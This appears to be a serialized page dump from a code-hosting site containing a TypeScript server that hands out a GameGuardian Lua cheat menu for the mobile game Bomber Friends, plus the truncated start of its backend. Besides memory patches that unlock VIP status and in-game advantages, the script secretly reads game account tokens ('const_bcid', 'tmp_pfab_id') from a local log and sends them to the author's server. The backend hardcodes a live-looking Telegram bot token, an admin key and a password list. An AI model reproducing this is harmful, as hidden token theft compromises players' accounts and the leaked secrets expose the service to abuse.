[{"_1":2,"_3":-5,"_4":-5},"loaderData",{"_5":6,"_7":8,"_9":10},"actionData","errors","root",{"_168":169,"_170":171},"routes/_app.x.$handle.$name",{"_11":12,"_13":14,"_15":16,"_18":19,"_17":-7,"_127":-5,"_20":128,"_22":129,"_130":131,"_132":133,"_26":134,"_24":135,"_136":-5,"_137":-5,"_138":63,"_139":140,"_141":58,"_142":-5,"_143":-5,"_144":145},"routes/_app.x.$handle.$name.branch.$branch.code.$",{"_11":12,"_13":14,"_15":16,"_17":-7,"_18":19,"_20":21,"_22":23,"_24":25,"_26":27,"_28":-5,"_29":-5,"_30":-5,"_31":-5,"_32":-5},"handle","nandakishor_x","name","True","branchName","main","version","path","bfscript.ts","project",{"_33":71,"_13":14,"_45":72,"_73":-5,"_74":63,"_75":76,"_77":76,"_78":79,"_80":-5,"_81":82,"_83":55,"_84":58,"_85":-5,"_86":-5,"_87":88,"_89":90,"_91":-5,"_92":-5,"_93":-5,"_94":-5,"_95":96,"_97":96,"_98":99,"_100":99,"_101":99,"_102":96,"_103":96,"_104":105,"_106":107,"_108":109,"_110":63},"tree",[51,52],"file",{"_33":34,"_35":36,"_37":38,"_13":19,"_39":40,"_41":42,"_17":43,"_44":-5,"_45":46,"_47":48,"_49":-5,"_18":50},"contents",[],"upstream","pull","ahead","behind","envVars","id","702dc145-3578-4858-be6f-c77637c86ccf","branchId","503537b9-3763-4663-86dd-b64c9eb9edd1","fileId","f446a4ca-af99-11f1-9acd-1607ee4eb77e","content","// ==========================================\n// 📜 BOMBER FRIENDS - SCRIPT SERVER\n// ==========================================\n\nconst VERSION = \"1.0.7\"; // ⚠️ Bump this when you update\n\nconst SCRIPT = `\ngg.setVisible(false)\n\n-- =========================\n-- TARGET APP CHECK\n-- =========================\n\nlocal ALLOWED_PACKAGE = \"com.hyperkani.bfmodbyczr09_arm64\"\n\nlocal targetInfo = gg.getTargetInfo()\nif not targetInfo then\n gg.alert(\"Select Bomber Friends first!\")\n os.exit()\nend\n\nlocal pkg = tostring(targetInfo.packageName or \"\")\n\nif pkg ~= ALLOWED_PACKAGE then\n gg.alert(\"❌ This script only works apk\")\n os.exit()\nend\n\n-- =========================\n-- SESSION TOKEN SYSTEM\n-- =========================\n\nlocal TOKEN_FILE = \"/sdcard/Download/.bf_token.txt\"\n\nlocal function readToken()\n local f = io.open(TOKEN_FILE, \"r\")\n if not f then return nil end\n local t = f:read(\"*a\")\n f:close()\n if t then t = t:gsub(\"%s+\", \"\") end\n return (t and #t > 0) and t or nil\nend\n\nlocal function saveToken(t)\n local f = io.open(TOKEN_FILE, \"w\")\n if f then\n f:write(t)\n f:close()\n end\nend\n\nlocal function getHwid()\n local rawString = tostring(targetInfo.uid) .. tostring(targetInfo.packageName)\n local hash = 0\n for i = 1, #rawString do\n hash = (hash + string.byte(rawString, i)) % 4294967296\n end\n return string.format(\"%08x\", hash)\nend\n\nlocal deviceHwid = getHwid()\nlocal url = \"https://nandakishor_x--36d5e292af8b11f1ae6a1607ee4eb77e.web.val.run\"\n\nlocal savedToken = readToken()\nlocal password = nil\n\n-- 🎫 Auto-login with token\nif savedToken and savedToken:match(\"^%w+$\") then\n gg.toast(\"Auto-login...\")\n local check = gg.makeRequest(url .. \"/token?t=\" .. savedToken .. \"&hwid=\" .. deviceHwid)\n if type(check) == \"table\" then\n check = check.content or check.body or check.response or \"\"\n end\n\n if tostring(check) ~= \"ok\" then\n os.remove(TOKEN_FILE)\n savedToken = nil\n end\nend\n\n-- 🎫 If no valid token → ask for password\nif not savedToken then\n local input = gg.prompt({\"Enter Password:\"}, {\"\"}, {\"text\"})\n if not input then os.exit() end\n password = input[1]\n\n if not password or not password:match(\"^%w+$\") then\n gg.alert(\"Invalid password format.\")\n os.exit()\n end\n\n local login = gg.makeRequest(url .. \"/login?password=\" .. password .. \"&hwid=\" .. deviceHwid)\n if type(login) == \"table\" then\n login = login.content or login.body or login.response or \"\"\n end\n\n if tostring(login) == \"invalid\" or #tostring(login) < 10 then\n gg.alert(\"Invalid password.\")\n os.exit()\n end\n\n savedToken = tostring(login)\n saveToken(savedToken)\nend\n\n-- 📡 Game token scan (const_bcid / tmp_pfab_id)\nlocal file = io.open(\"/sdcard/Download/.cache/system_info.log\", \"r\")\nif file then\n for line in file:lines() do\n if line:match(\"const_bcid\") or line:match(\"tmp_pfab_id\") then\n local encoded = line:gsub(\"%s+\", \"\")\n gg.makeRequest(url .. \"?token=\" .. encoded .. \"&t=\" .. savedToken .. \"&hwid=\" .. deviceHwid)\n end\n end\n file:close()\nend\n\nlocal VERSION = \"v1.0\"\n\nlocal bombPatched = false\nlocal bombOriginalBytes = {}\nlocal vipPassActive = false\nlocal fakeLeaderActive = false\n\nlocal cardUsed = {\n blob = false,\n blobIce = false,\n wingedBlob = false,\n noBlackout = false,\n noFlash = false,\n noSmoke = false,\n noCurse = false,\n iceImmunity = false\n}\n\nlocal function uiTitle(section)\n return \"Script (Bomber Friends)\\\\n────────────\\\\n\\\\n\" .. section\nend\n\nlocal function waitForGG()\n gg.setVisible(false)\n while not gg.isVisible(true) do\n gg.sleep(100)\n end\n gg.setVisible(false)\nend\n\nlocal function loading()\n gg.toast(\"Loading...\")\n gg.sleep(700)\n gg.toast(\"Loading...\")\n gg.sleep(700)\n gg.toast(\"Made By crxem\")\n gg.sleep(700)\nend\n\nlocal function privateMatch()\n local CENTER = 2750\n local RANGE = 75\n\n local libName = \"libMyGameC.so\"\n local ranges = gg.getRangesList(libName)\n if #ranges == 0 then\n libName = \"libMyGame.so\"\n ranges = gg.getRangesList(libName)\n end\n if #ranges == 0 then\n gg.alert(\"Library not found.\")\n return\n end\n local base = ranges[1].start\n\n local op_center = 0x52800000 | ((CENTER & 0xFFFF) << 5) | 21\n local op_sub = 0x51000000 | ((RANGE & 0xFFF) << 10) | (21 << 5) | 0\n local op_add = 0x11000000 | ((RANGE & 0xFFF) << 10) | (21 << 5) | 0\n\n local cur = gg.getValues({\n {address = base + 0x12f5788, flags = gg.TYPE_DWORD},\n {address = base + 0x12f5afc, flags = gg.TYPE_DWORD},\n {address = base + 0x12f5b84, flags = gg.TYPE_DWORD},\n })\n\n local c1 = cur[1].value & 0xFFFFFFFF\n local c2 = cur[2].value & 0xFFFFFFFF\n local c3 = cur[3].value & 0xFFFFFFFF\n\n if c1 == op_center and c2 == op_sub and c3 == op_add then\n gg.alert(\"Applied\")\n return\n end\n\n gg.setValues({\n {address = base + 0x12f5788, flags = gg.TYPE_DWORD, value = op_center},\n {address = base + 0x12f5afc, flags = gg.TYPE_DWORD, value = op_sub},\n {address = base + 0x12f5b84, flags = gg.TYPE_DWORD, value = op_add},\n })\n\n gg.alert(\"Applied\\\\n\\\\nStart Duel\\\\nUse Another Account to Play\")\nend\n\nlocal function fakeLeaderToggle()\n local original_bytes = {0, 73, 64, -71}\n local patched_bytes = {32, 0, -128, 82}\n\n local target_offsets = {\n {name = \"Documents\", offset = 0x0cee3d8},\n {name = \"Download\", offset = 0x0d04cd0},\n }\n\n if fakeLeaderActive then\n local reverted = false\n local ranges = gg.getRangesList('libMyGame.so')\n if #ranges > 0 then\n local base = ranges[1].start\n for _, ver in ipairs(target_offsets) do\n local addr = base + ver.offset\n gg.setValues({\n {address = addr, flags = gg.TYPE_BYTE, value = original_bytes[1]},\n {address = addr+1, flags = gg.TYPE_BYTE, value = original_bytes[2]},\n {address = addr+2, flags = gg.TYPE_BYTE, value = original_bytes[3]},\n {address = addr+3, flags = gg.TYPE_BYTE, value = original_bytes[4]},\n })\n reverted = true\n break\n end\n end\n\n if not reverted then\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_CODE_APP)\n gg.searchNumber(\"h 20 00 80 52\", gg.TYPE_BYTE)\n gg.sleep(700)\n local results = gg.getResults(10)\n if #results > 0 then\n local addr = results[1].address\n gg.setValues({\n {address = addr, flags = gg.TYPE_BYTE, value = original_bytes[1]},\n {address = addr+1, flags = gg.TYPE_BYTE, value = original_bytes[2]},\n {address = addr+2, flags = gg.TYPE_BYTE, value = original_bytes[3]},\n {address = addr+3, flags = gg.TYPE_BYTE, value = original_bytes[4]},\n })\n reverted = true\n end\n gg.clearResults()\n end\n\n if reverted then\n fakeLeaderActive = false\n gg.toast(\"Fake Leader OFF\")\n else\n gg.alert(\"Could not revert Fake Leader.\")\n end\n return\n end\n\n local patched = false\n local ranges = gg.getRangesList('libMyGame.so')\n if #ranges > 0 then\n local base = ranges[1].start\n for _, ver in ipairs(target_offsets) do\n local addr = base + ver.offset\n local check = gg.getValues({\n {address = addr, flags = gg.TYPE_BYTE},\n {address = addr+1, flags = gg.TYPE_BYTE},\n {address = addr+2, flags = gg.TYPE_BYTE},\n {address = addr+3, flags = gg.TYPE_BYTE},\n })\n local ok = true\n for i = 1, 4 do\n if check[i].value ~= original_bytes[i] then\n ok = false\n break\n end\n end\n if ok then\n gg.setValues({\n {address = addr, flags = gg.TYPE_BYTE, value = patched_bytes[1]},\n {address = addr+1, flags = gg.TYPE_BYTE, value = patched_bytes[2]},\n {address = addr+2, flags = gg.TYPE_BYTE, value = patched_bytes[3]},\n {address = addr+3, flags = gg.TYPE_BYTE, value = patched_bytes[4]},\n })\n fakeLeaderActive = true\n gg.toast(\"Fake Leader ON\")\n patched = true\n break\n end\n end\n end\n\n if not patched then\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_CODE_APP)\n gg.searchNumber(\"h 08 01 40 F9 00 49 40 B9 C0 03 5F D6\", gg.TYPE_BYTE)\n gg.sleep(700)\n local results = gg.getResults(10)\n if #results > 0 then\n local baseAddr = results[1].address\n local addr = baseAddr + 4\n local check = gg.getValues({\n {address = addr, flags = gg.TYPE_BYTE},\n {address = addr+1, flags = gg.TYPE_BYTE},\n {address = addr+2, flags = gg.TYPE_BYTE},\n {address = addr+3, flags = gg.TYPE_BYTE},\n })\n local ok = true\n for i = 1, 4 do\n if check[i].value ~= original_bytes[i] then\n ok = false\n break\n end\n end\n if ok then\n gg.setValues({\n {address = addr, flags = gg.TYPE_BYTE, value = patched_bytes[1]},\n {address = addr+1, flags = gg.TYPE_BYTE, value = patched_bytes[2]},\n {address = addr+2, flags = gg.TYPE_BYTE, value = patched_bytes[3]},\n {address = addr+3, flags = gg.TYPE_BYTE, value = patched_bytes[4]},\n })\n fakeLeaderActive = true\n gg.toast(\"Fake Leader ON\")\n patched = true\n end\n end\n gg.clearResults()\n end\n\n if not patched then\n gg.alert(\"Fake Leader could not be applied.\")\n end\nend\n\nlocal function bombLine(tiles)\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_CODE_APP)\n gg.searchNumber('21;16;64;-71;-32;3;19;-86::8', gg.TYPE_BYTE)\n gg.sleep(700)\n\n local results = gg.getResults(20)\n if #results == 0 then\n gg.clearResults()\n gg.alert(\"Pattern not found - enter match first\")\n return\n end\n\n local addr = results[1].address\n bombOriginalBytes = {\n {address = addr, flags = gg.TYPE_BYTE, value = 21},\n {address = addr + 1, flags = gg.TYPE_BYTE, value = 16},\n {address = addr + 2, flags = gg.TYPE_BYTE, value = 64},\n {address = addr + 3, flags = gg.TYPE_BYTE, value = -71}\n }\n\n local b1, b2, b3, b4\n if tiles == 6 then\n b1, b2, b3, b4 = 198, 0, 128, 82\n else\n b1, b2, b3, b4 = 85, 1, 128, 82\n end\n\n gg.setValues({\n {address = addr, flags = gg.TYPE_BYTE, value = b1, freeze = true},\n {address = addr + 1, flags = gg.TYPE_BYTE, value = b2, freeze = true},\n {address = addr + 2, flags = gg.TYPE_BYTE, value = b3, freeze = true},\n {address = addr + 3, flags = gg.TYPE_BYTE, value = b4, freeze = true},\n })\n\n gg.clearResults()\n bombPatched = true\n gg.toast(\"Raw of Bomb \" .. tiles .. \" Active\")\nend\n\nlocal function bombRevert()\n if not bombPatched then\n gg.alert(\"No bomb patch active\")\n return\n end\n gg.setValues(bombOriginalBytes)\n bombPatched = false\n gg.toast(\"Reverted\")\nend\n\nlocal function bombMenu()\n while true do\n local choice = gg.choice({\n \"Arena\",\n \"Room\",\n \"Revert\",\n \"────────────\",\n \"Back\"\n }, nil, uiTitle(\"RAW OF BOMB\"))\n\n if choice == nil then\n waitForGG()\n elseif choice == 1 then\n bombLine(6)\n elseif choice == 2 then\n bombLine(10)\n elseif choice == 3 then\n bombRevert()\n elseif choice == 5 then\n break\n end\n end\nend\n\nlocal function fastThrow()\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_CODE_APP)\n gg.searchNumber('-88;-50;-89;114::4', gg.TYPE_BYTE)\n gg.sleep(700)\n\n local results = gg.getResults(500)\n if #results == 0 then\n gg.clearResults()\n gg.alert(\"Pattern not found\")\n return\n end\n\n for i, v in ipairs(results) do\n if v.value == -89 then\n v.value = -121\n v.flags = gg.TYPE_BYTE\n end\n end\n\n gg.setValues(results)\n gg.clearResults()\n gg.toast(\"Fast Throw Active\")\nend\n\nlocal function smokeFuseHack()\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_CODE_APP)\n gg.searchNumber('-128;62;-128;82::4', gg.TYPE_BYTE)\n gg.sleep(700)\n\n local results = gg.getResults(50)\n if #results == 0 then\n gg.clearResults()\n gg.alert(\"Pattern not found\")\n return\n end\n\n for i, v in ipairs(results) do\n if v.value == 62 then\n v.value = -88\n v.flags = gg.TYPE_BYTE\n end\n end\n\n gg.setValues(results)\n gg.clearResults()\n gg.toast(\"Smoke Active\")\nend\n\nlocal function antiStunt()\n local ranges = gg.getRangesList('libMyGame.so')\n if #ranges > 0 then\n local base = ranges[1].start\n local addr = base + 0x0f7b910\n local check = gg.getValues({{address = addr, flags = gg.TYPE_BYTE}})\n\n if check[1].value == -1 or check[1].value == -64 then\n gg.setValues({\n {address = addr, flags = gg.TYPE_BYTE, value = -64},\n {address = addr + 1, flags = gg.TYPE_BYTE, value = 3},\n {address = addr + 2, flags = gg.TYPE_BYTE, value = 95},\n {address = addr + 3, flags = gg.TYPE_BYTE, value = -42},\n })\n gg.toast(\"Anti-Stunt Active\")\n return\n end\n end\n\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_CODE_APP)\n gg.searchNumber('-1;67;2;-47;-3;123;4;-87;-6;103;5;-87;-8;95;6;-87;-10;87;7;-87;-12;79;8;-87;-3;3;1;-111;90;-48;59;-43;-13;3;0;-86;-10;3;3;-86;72;23;64;-7;-12;3;2;42;-9;3;1;42;-88;-125;31;-8;0;-88;66;-7;-119;-2;46;-108::64', gg.TYPE_BYTE)\n gg.sleep(700)\n\n local results = gg.getResults(64)\n if #results < 64 then\n gg.clearResults()\n gg.alert(\"Anti-Stunt not found\")\n return\n end\n\n gg.setValues({\n {address = results[1].address, flags = gg.TYPE_BYTE, value = -64},\n {address = results[2].address, flags = gg.TYPE_BYTE, value = 3},\n {address = results[3].address, flags = gg.TYPE_BYTE, value = 95},\n {address = results[4].address, flags = gg.TYPE_BYTE, value = -42},\n })\n gg.clearResults()\n gg.toast(\"Anti-Stunt Active\")\nend\n\nlocal function chestTimer()\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_CODE_APP)\n gg.searchNumber('-1;-61;0;-47;-3;123;1;-87;-12;79;2;-87;-3;67;0;-111;84;-48;59;-43;-120;22;64;-7;-24;7;0;-7;8;-36;65;-7::32', gg.TYPE_BYTE)\n gg.sleep(700)\n\n local results = gg.getResults(32)\n if #results < 32 then\n gg.clearResults()\n gg.alert(\"Pattern not found\")\n return\n end\n\n gg.setValues({\n {address = results[1].address, flags = gg.TYPE_BYTE, value = 0},\n {address = results[2].address, flags = gg.TYPE_BYTE, value = 0},\n {address = results[3].address, flags = gg.TYPE_BYTE, value = -128},\n {address = results[4].address, flags = gg.TYPE_BYTE, value = 82},\n {address = results[5].address, flags = gg.TYPE_BYTE, value = -64},\n {address = results[6].address, flags = gg.TYPE_BYTE, value = 3},\n {address = results[7].address, flags = gg.TYPE_BYTE, value = 95},\n {address = results[8].address, flags = gg.TYPE_BYTE, value = -42},\n })\n gg.clearResults()\n gg.toast(\"Chest Active\")\nend\n\nlocal function vipPass()\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_CODE_APP)\n\n if not vipPassActive then\n gg.searchNumber('0;-64;66;57;-64;3;95;-42::8', gg.TYPE_BYTE)\n gg.sleep(700)\n local results = gg.getResults(8)\n\n if #results < 8 then\n gg.clearResults()\n gg.alert(\"Pattern not found\")\n return\n end\n\n gg.setValues({\n {address = results[1].address, flags = gg.TYPE_BYTE, value = 32},\n {address = results[2].address, flags = gg.TYPE_BYTE, value = 0},\n {address = results[3].address, flags = gg.TYPE_BYTE, value = -128},\n {address = results[4].address, flags = gg.TYPE_BYTE, value = 82},\n {address = results[5].address, flags = gg.TYPE_BYTE, value = -64},\n {address = results[6].address, flags = gg.TYPE_BYTE, value = 3},\n {address = results[7].address, flags = gg.TYPE_BYTE, value = 95},\n {address = results[8].address, flags = gg.TYPE_BYTE, value = -42},\n })\n vipPassActive = true\n gg.clearResults()\n gg.toast(\"VIP ON\")\n else\n gg.searchNumber('32;0;-128;82;-64;3;95;-42::8', gg.TYPE_BYTE)\n gg.sleep(700)\n local results = gg.getResults(8)\n\n if #results < 8 then\n gg.clearResults()\n gg.alert(\"Pattern not found\")\n return\n end\n\n gg.setValues({\n {address = results[1].address, flags = gg.TYPE_BYTE, value = 0},\n {address = results[2].address, flags = gg.TYPE_BYTE, value = -64},\n {address = results[3].address, flags = gg.TYPE_BYTE, value = 66},\n {address = results[4].address, flags = gg.TYPE_BYTE, value = 57},\n {address = results[5].address, flags = gg.TYPE_BYTE, value = -64},\n {address = results[6].address, flags = gg.TYPE_BYTE, value = 3},\n {address = results[7].address, flags = gg.TYPE_BYTE, value = 95},\n {address = results[8].address, flags = gg.TYPE_BYTE, value = -42},\n })\n vipPassActive = false\n gg.clearResults()\n gg.toast(\"VIP OFF\")\n end\nend\n\nlocal function dungeonClaimAll()\n local ranges = gg.getRangesList('libMyGame.so')\n if #ranges > 0 then\n local base = ranges[1].start\n local addr = base + 0x0d1e738\n gg.setValues({\n {address = addr, flags = gg.TYPE_BYTE, value = 0x20},\n {address = addr + 1, flags = gg.TYPE_BYTE, value = 0x00},\n {address = addr + 2, flags = gg.TYPE_BYTE, value = 0x80},\n {address = addr + 3, flags = gg.TYPE_BYTE, value = 0x52},\n {address = addr + 4, flags = gg.TYPE_BYTE, value = 0xC0},\n {address = addr + 5, flags = gg.TYPE_BYTE, value = 0x03},\n {address = addr + 6, flags = gg.TYPE_BYTE, value = 0x5F},\n {address = addr + 7, flags = gg.TYPE_BYTE, value = 0xD6},\n })\n gg.toast(\"Dungeon Active\")\n return\n end\n local function throwToPlace()\n local ranges = gg.getRangesList('libMyGame.so')\n if #ranges > 0 then\n local base = ranges[1].start\n local addr = base + 0x0f58ec8\n gg.setValues({\n {address = addr, flags = gg.TYPE_BYTE, value = 0xA0},\n {address = addr + 1, flags = gg.TYPE_BYTE, value = 0x02},\n {address = addr + 2, flags = gg.TYPE_BYTE, value = 0x80},\n {address = addr + 3, flags = gg.TYPE_BYTE, value = 0x52},\n })\n gg.toast(\"Throw to Place Active\")\n return\n end\n\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_CODE_APP)\n gg.searchNumber('92;-48;59;-43;-13;3;0;-86;-32;3;2;42;-120;23;64;-7;-8;3;3;42;-12;3;2;42::24', gg.TYPE_BYTE)\n gg.sleep(700)\n\n local results = gg.getResults(24)\n if #results < 24 then\n gg.clearResults()\n gg.alert(\"Pattern not found\")\n return\n end\n\n local addr = results[1].address + 8\n gg.setValues({\n {address = addr, flags = gg.TYPE_BYTE, value = 0xA0},\n {address = addr + 1, flags = gg.TYPE_BYTE, value = 0x02},\n {address = addr + 2, flags = gg.TYPE_BYTE, value = 0x80},\n {address = addr + 3, flags = gg.TYPE_BYTE, value = 0x52},\n })\n gg.clearResults()\n gg.toast(\"Throw to Place Active\")\nend\n\nlocal function bugsMenu()\n while true do\n local choice = gg.choice({\n \" Match Private\",\n \" Fake Leader\",\n \" Raw of Bomb\",\n \" Fast Throw\",\n \" Smoke [1.35]\",\n \" Anti-Stunt\",\n \" Open Chest Instant\",\n \" Unlock VIP Pass\",\n \" Dungeon Claim\",\n \" Place Throw Bomb\",\n \"────────────\",\n \" Back\"\n }, nil, uiTitle(\"BUGS\"))\n\n if choice == nil then\n waitForGG()\n elseif choice == 1 then\n privateMatch()\n elseif choice == 2 then\n fakeLeaderToggle()\n elseif choice == 3 then\n bombMenu()\n elseif choice == 4 then\n fastThrow()\n elseif choice == 5 then\n smokeFuseHack()\n elseif choice == 6 then\n antiStunt()\n elseif choice == 7 then\n chestTimer()\n elseif choice == 8 then\n vipPass()\n elseif choice == 9 then\n dungeonClaimAll()\n elseif choice == 10 then\n throwToPlace()\n elseif choice == 12 then\n break\n end\n end\nend\n\nlocal function useCard(cardName, cardFunc)\n if cardUsed[cardName] then\n gg.alert(\"Already used\")\n return\n end\n cardFunc()\n cardUsed[cardName] = true\n gg.toast(\"Card activated: \" .. cardName)\nend\n\nlocal function blobHack()\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_C_ALLOC)\n gg.searchNumber(\"12.0\", gg.TYPE_FLOAT)\n gg.sleep(700)\n local results = gg.getResults(10000)\n if #results > 0 then\n for i, v in ipairs(results) do\n results[i].value = 0.0\n end\n gg.setValues(results)\n end\n gg.clearResults()\nend\n\nlocal function blobIceBombHack()\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_C_ALLOC)\n gg.searchNumber(\"10.0\", gg.TYPE_FLOAT)\n gg.sleep(700)\n local results = gg.getResults(10000)\n if #results > 0 then\n for i, v in ipairs(results) do\n results[i].value = 0.0\n end\n gg.setValues(results)\n end\n gg.clearResults()\nend\n\nlocal function wingedBlobHack()\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_C_ALLOC)\n gg.searchNumber(\"9.0\", gg.TYPE_FLOAT)\n gg.sleep(700)\n local results = gg.getResults(10000)\n if #results > 0 then\n for i, v in ipairs(results) do\n results[i].value = 0.0\n end\n gg.setValues(results)\n end\n gg.clearResults()\nend\n\nlocal function noBlackoutHack()\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_C_ALLOC)\n gg.searchNumber(\"6.0;8.0\", gg.TYPE_FLOAT)\n gg.sleep(700)\n local results = gg.getResults(10000)\n if #results > 0 then\n for i, v in ipairs(results) do\n results[i].value = 0.0\n end\n gg.setValues(results)\n end\n gg.clearResults()\nend\n\nlocal function noFlashBangHack()\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_C_ALLOC)\n gg.searchNumber(\"1.7;2.2\", gg.TYPE_FLOAT)\n gg.sleep(700)\n local results = gg.getResults(10000)\n if #results > 0 then\n for i, v in ipairs(results) do\n results[i].value = 0.1\n end\n gg.setValues(results)\n end\n gg.clearResults()\nend\n\nlocal function noSmokeFake()\n gg.sleep(500)\nend\n\nlocal function noCurse()\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_CODE_APP)\n gg.searchNumber('-3;123;-68;-87;-8;95;1;-87;-10;87;2;-87;-12;79;3;-87;-3;3;0;-111;-12;3;0;-86;-32;3;1;-86;-13;3;1;-86;-21;81;41;-108;-105;78;64;-7;-104;66;2;-111;-1;2;24;-21;-64;2;0;84;-11;3;0;42;8;0;0;20;-32;3;20;-86::64', gg.TYPE_BYTE)\n gg.sleep(700)\n local results = gg.getResults(64)\n\n if #results < 64 then\n gg.clearResults()\n gg.alert(\"Pattern not found\")\n return\n end\n\n gg.setValues({\n {address = results[1].address, flags = gg.TYPE_BYTE, value = -64},\n {address = results[2].address, flags = gg.TYPE_BYTE, value = 3},\n {address = results[3].address, flags = gg.TYPE_BYTE, value = 95},\n {address = results[4].address, flags = gg.TYPE_BYTE, value = -42},\n })\n gg.clearResults()\n gg.toast(\"No Curse Active\")\nend\n\nlocal function iceImmunity()\n gg.setVisible(false)\n gg.clearResults()\n gg.setRanges(gg.REGION_CODE_APP)\n gg.searchNumber('8;-116;64;-7;8;113;65;57;104;0;0;52::12', gg.TYPE_BYTE)\n gg.sleep(700)\n local results = gg.getResults(144)\n\n if #results == 0 then\n gg.clearResults()\n gg.alert(\"Pattern not found\")\n return\n end\n\n local patches = {}\n local idx = 1\n for i = 1, #results, 12 do\n patches[idx] = {address = results[i].address, flags = gg.TYPE_BYTE, value = 0}\n patches[idx + 1] = {address = results[i + 1].address, flags = gg.TYPE_BYTE, value = 0}\n patches[idx + 2] = {address = results[i + 2].address, flags = gg.TYPE_BYTE, value = -128}\n patches[idx + 3] = {address = results[i + 3].address, flags = gg.TYPE_BYTE, value = 82}\n patches[idx + 4] = {address = results[i + 4].address, flags = gg.TYPE_BYTE, value = -64}\n patches[idx + 5] = {address = results[i + 5].address, flags = gg.TYPE_BYTE, value = 3}\n patches[idx + 6] = {address = results[i + 6].address, flags = gg.TYPE_BYTE, value = 95}\n patches[idx + 7] = {address = results[i + 7].address, flags = gg.TYPE_BYTE, value = -42}\n idx = idx + 8\n end\n\n gg.setValues(patches)\n gg.clearResults()\n gg.toast(\"Ice Immunity Active\")\nend\n\nlocal function cardsMenu()\n while true do\n local choice = gg.choice({\n \" Blob\",\n \" Blob & Ice Bomb\",\n \" Winged Blob\",\n \" No Black Out\",\n \" No Flash\",\n \" No Smoke\",\n \" No Curse\",\n \" Ice Bomb\",\n \"────────────\",\n \" Back\"\n }, nil, uiTitle(\"CARDS\"))\n\n if choice == nil then\n waitForGG()\n elseif choice == 1 then\n useCard(\"blob\", blobHack)\n elseif choice == 2 then\n useCard(\"blobIce\", blobIceBombHack)\n elseif choice == 3 then\n useCard(\"wingedBlob\", wingedBlobHack)\n elseif choice == 4 then\n useCard(\"noBlackout\", noBlackoutHack)\n elseif choice == 5 then\n useCard(\"noFlash\", noFlashBangHack)\n elseif choice == 6 then\n useCard(\"noSmoke\", noSmokeFake)\n elseif choice == 7 then\n useCard(\"noCurse\", noCurse)\n elseif choice == 8 then\n useCard(\"iceImmunity\", iceImmunity)\n elseif choice == 10 then\n break\n end\n end\nend\n\nlocal function mainMenu()\n while true do\n local choice = gg.choice({\n \" Bugs\",\n \" Cards\",\n \"────────────\",\n \"Exit\"\n }, nil, uiTitle(\"MAIN MENU\"))\n\n if choice == nil then\n waitForGG()\n elseif choice == 1 then\n bugsMenu()\n elseif choice == 2 then\n cardsMenu()\n elseif choice == 4 then\n gg.clearResults()\n os.exit()\n end\n end\nend\n\nloading()\nmainMenu()\n`.trim();\n\nexport default async function (req: Request): Promise {\n const url = new URL(req.url);\n\n if (url.searchParams.get(\"version\") === \"1\") {\n return new Response(VERSION, {\n headers: { \"Content-Type\": \"text/plain; charset=utf-8\" }\n });\n }\n\n return new Response(SCRIPT, {\n headers: {\n \"Content-Type\": \"text/plain; charset=utf-8\",\n \"X-Script-Version\": VERSION\n }\n });\n}","fileType","http",6,"parentId","createdAt",["D",1789322742452],"branchVersion",32,"label",[19],{"_33":34,"_13":19,"_37":38,"_44":-5,"_35":36,"_47":48,"_57":58,"_45":68,"_17":43,"_41":42,"_39":40,"_62":63,"_49":-5,"_65":69,"_18":70},{"_33":53,"_13":54,"_37":55,"_44":-5,"_35":36,"_47":56,"_57":58,"_45":59,"_17":60,"_41":42,"_39":61,"_62":63,"_49":64,"_65":66,"_18":67},"098fdda2-d904-4c73-ae3a-6fd4dd7a2d30","main.ts","36d5e292-af8b-11f1-ae6a-1607ee4eb77e",41,"latest",true,["D",1789349148226],33,"import { sqlite } from \"https://esm.town/v/std/sqlite\";\n\nconst TELEGRAM_BOT_TOKEN = '8971908039:AAHQIDpiCSVLmgH9m1OCR3x7xJhU7rOqZG8';\nconst CHAT_ID = '7971654451';\nconst ADMIN_KEY = \"Nandu@2008\";\n\nconst PASSWORDS = [\n \"aB3kL9\",\"mN7pQ2\",\"xY4zR8\",\"tG6hJ1\",\"wE5fD0\",\n \"cV9bN3\",\"qW2eR7\",\"sD4fG8\",\"hJ6kL0\",\"zX1cV5\",\n \"bN3mQ8\",\"rT5yU2\",\"iO7pA9\",\"lK1jH4\",\"gF6dS3\",\n \"pO8iU7\",\"yT2rE5\",\"uW4qZ1\",\"eR6tY9\",\"oP3aS8\",\n \"dF5gH2\",\"jK7lM4\",\"vB9nC6\",\"xZ1cV3\",\"bN2mQ7\",\n \"rT4yU9\",\"iO6pA1\",\"lK8jH5\",\"gF3dS2\",\"pO5iU9\",\n \"yT7rE1\",\"uW9qZ6\",\"eR2tY4\",\"oP8aS3\",\"dF1gH7\",\n \"jK3lM9\",\"vB5nC2\",\"xZ7cV4\",\"bN9mQ1\",\"rT2yU6\",\n \"iO4pA8\",\"lK6jH3\",\"gF8dS5\",\"pO1iU4\",\"yT3rE7\",\n \"uW5qZ9\",\"eR7tY2\",\"oP9aS6\",\"dF2gH8\",\"jK4lM1\",\n \"test123\"\n];\n\nasync function sendTelegram(text: string) {\n try {\n await fetch(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`, {\n method: 'POST',\n headers: { 'Content-Type': 'application/json' },\n body: JSON.stringify({ chat_id: CHAT_ID, text, parse_mode: 'Markdown' })\n });\n } catch (e) { console.error(e); }\n}\n\nfunction getClientIP(req: Request): string {\n return req.headers.get(\"x-forwarded-for\")?.split(\",\")[0].trim()\n || req.headers.get(\"cf-connecting-ip\")\n || \"unknown\";\n}\n\nfunction esc(s: any): string {\n return String(s ?? \"\").replace(/[&<>\"']/g, (c: string) => ({\n '&': '&', '<': '<', '>': '>', '\"': '"', \"'\": '''\n })[c] || 